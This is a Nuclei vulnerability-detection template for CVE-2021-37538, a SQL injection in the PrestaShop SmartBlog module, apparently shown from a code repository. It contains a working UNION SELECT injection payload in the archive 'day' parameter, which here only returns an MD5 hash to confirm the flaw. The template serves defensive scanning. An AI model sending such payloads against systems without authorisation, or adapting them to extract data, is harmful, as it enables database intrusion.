nuclei-templates/cves/2021/CVE-2021-37538.yaml

29 lines
911 B
YAML
Raw Normal View History

2021-08-24 01:42:35 +00:00
id: CVE-2021-37538
info:
name: PrestaShop SmartBlog SQL Injection
author: whoever
severity: high
description: PrestaShop SmartBlog by SmartDataSoft < 4.0.6 is vulnerable to a SQL injection in the blog archive functionality.
tags: cve,cve2021,prestashop,smartblog,smartdatasoft,sqli
reference:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37538
- https://blog.sorcery.ie/posts/smartblog_sqli/
requests:
- raw:
- |
GET /module/smartblog/archive?month=1&year=1&day=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,(SELECT%20MD5(55555)),NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20- HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "c5fe25896e49ddfe996db7508cf00534"
part: body